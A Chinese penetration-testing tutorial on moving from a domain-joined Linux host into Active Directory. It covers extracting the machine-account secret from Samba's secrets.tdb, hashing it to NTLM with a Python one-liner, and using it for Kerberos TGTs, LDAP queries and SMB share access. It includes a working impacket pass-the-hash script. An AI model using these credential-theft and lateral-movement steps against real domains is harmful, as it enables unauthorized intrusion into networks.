渗透测试时,如何从Linux拓展到AD域?

适用于SAMBA3的方法

通过阅读SAMBA文档可以了解到通过阅读secrets.tdb数据库就可以得到机器账户的明文密码。

现在,我们使用的是旧版本的linux环境,并且已经加入到了域中,主机名为:ubuntu3.如图:

观察上图可以看到secrets.tdb数据库中有以下的内容:

1. SECRETS/SALTING_PRINCIPAL/DES/LAB.BRANSH.COM: 这一数据将主机名,域名展示给了我们。将以$符号结束的用户名记录下来,在这一环境中,用户名为ubuntu3$. 2. SECRETS/MACHINE_PASSWORD/LAB:这一数据就展示了机器账户(ubuntu3$)的明文密码,长度为14个字节(加上终止符0),这一环境中,密码为:"UeHjnbam_zdtr#"

接下来使用我们得到的账户密码得到一个Kerberos TGT,然后查询LDAP数据库:

上图中,可以观察到:

1. 用户ubuntu13执行kinit命令从KDC中获得了TGT。 2. 通过klist命令列出了tickets 3. 通过ldapsearch使用Kerberos认证方法进行LDAP查询。

继续使用机器用户进入到域中默认的SYSVOL共享文件夹:

上图中得到的信息:

1. ubuntu13通过kinit命令得到一个TGT。 2. 通过klist获取tickets。 3. 通过smbclient使用Kerberos就可以进入默认域中的SYSVOL文件夹。

使用此帐号获得网络上无限制的共享:

这张图你会发现:

1. 通过smbclient使用机器账户获得的Kerberos票据就可以访问到域成员共享的内容。 2. 通过klist命令获得域中的tickets。

适用于SAMBA4的方法

在SAMBA4中,渗透过程会有一些不同。在一个新的Samba服务器中,当我们查看secrets.tdb数据库时,我们会得到一大串hex数值,并且他们不是ascii码:

为了了解到这一数值在secrets.tdb中是怎么生成的,我们需要去阅读Samba4的源代码。由于Samba代码非常长,我们需要找到开始的地方。

可能你以前知道,”net ads changetrustpw”命令可以修改机器账户的密码:

我们可以通过查找与”net ads”(net_ads.c)命令相关联的文件,或者使用grep进而查找源文件中是否包含”Changeing password for printcipal”。无论哪一种方式,我们最后得到如下代码:

下图展示了net_ads_changetrustpw函数的源码:

在2378行,ads_change_trust_account_password这一函数被调用,其中包括两个参数:ads,host_printcipal。

下图,展示了位于util.c中的ads_change_trust_account_password函数:

38行调用了trust_pw_new_value这一方法,其中包括三个参数,其中特别需要注意的是SEC_ADS这个参数。下面开始查找这一函数吧。

下图就是trust_pw_new_value函数,他会调用generate_random_machine_password,并且参数最小值为128,最大值为255。

注释中可以看到它是将特定缓冲区转换为utf-8。
所以,在继续查看代码之前,我们先将获得的hex进行utf-8解码。复制我们在secrets.tdb中获得的代码hex:

接下来,使用下方python代码,进行生成NTLMhash:

# echo “E79EB7…880” | python -c “import hashlib,binascii;print binascii.hexlify(hashlib.new(‘md4’,binascii.unhexlify(raw_input().replace(‘’, ‘’).replace(‘00’,’’)).decode(‘utf-8’).encode(‘utf-16le’)).digest())”

下图,展示了我们为机器账户生成的NTLMhash值:

得到的NTLMhash值为a879b96849623f7ab57bf35f8a3a658c。我们对它是否可以进入SYSVOL进行测试。

下图展示了使用这一hash我们进入到了SYSVOL共享文件夹:

现在,我们使用NTLM hash值从TGT中获得TGT,进而通过ldapsearch进行LDAP查询:

上图中,可以看到我们使用了一个python脚本来获得TGT。get_tgt.py代码的内容非常简单,它完全基于impacket库。剩余的代码与第一种情况的作用是一样的。

get_tgt.py内容如下:

from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5 import constants
from impacket.krb5.types import Principal
import argparse, sys
from binascii import unhexlify

def main(domain, username, password, ntlm, kdc):
    # First of all, we need to get a TGT for the user
    userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    nthash = unhexlify(ntlm)
    # getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
    print '[*] Requesting a TGT from the KDC...'
    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, '', nthash, '', kdc)
    print '[*] Generating a CCACHE...'
    ccache = CCache()
    ccache.fromTGT(tgt, oldSessionKey, sessionKey)
    tgt_name = user + '@' + domain + '_TGT_.ccache'
    print '[*] Saving the CCACHE into the file %s...' % (tgt_name)
    ccache.saveFile(tgt_name)


if __name__ == '__main__':
    print 'nSimple br@nsh test for getting a TGTn'

    parser = argparse.ArgumentParser(add_help = True, description = "Gets a TGT from the KDC")
    parser.add_argument('-user', action='store', default='', help="Domain User (sAMAccountName)")
    parser.add_argument('-password', action='store', default='', help='User's password')
    parser.add_argument('-domain', action='store', default='', help='Domain name')
    parser.add_argument('-ntlm', action="store", default='', metavar="NTHASH", help='NTLM hash')
    parser.add_argument('-kdc', action='store', default='', help='Domain Controller')

    # Parse the arguments
    options = parser.parse_args()

    domain = options.domain
    user = options.user
    password = options.password
    ntlm = options.ntlm
    kdc = options.kdc

    # If not enough information is provided 
    if domain == '' or user == '' or kdc == '':
        parser.print_help()
        sys.exit(1)

    # If the password was not provided, then ask for it
    if password == '' and user != '' and ntlm == '':
        from getpass import getpass
        password = getpass("Password:")

    # If a hash is provided, then use it
    if ntlm != '':
        password = None

    try:
        main(domain, user, password, ntlm, kdc)
    except Exception, e:
        import traceback
        print traceback.print_exc()

本文作者:xnianq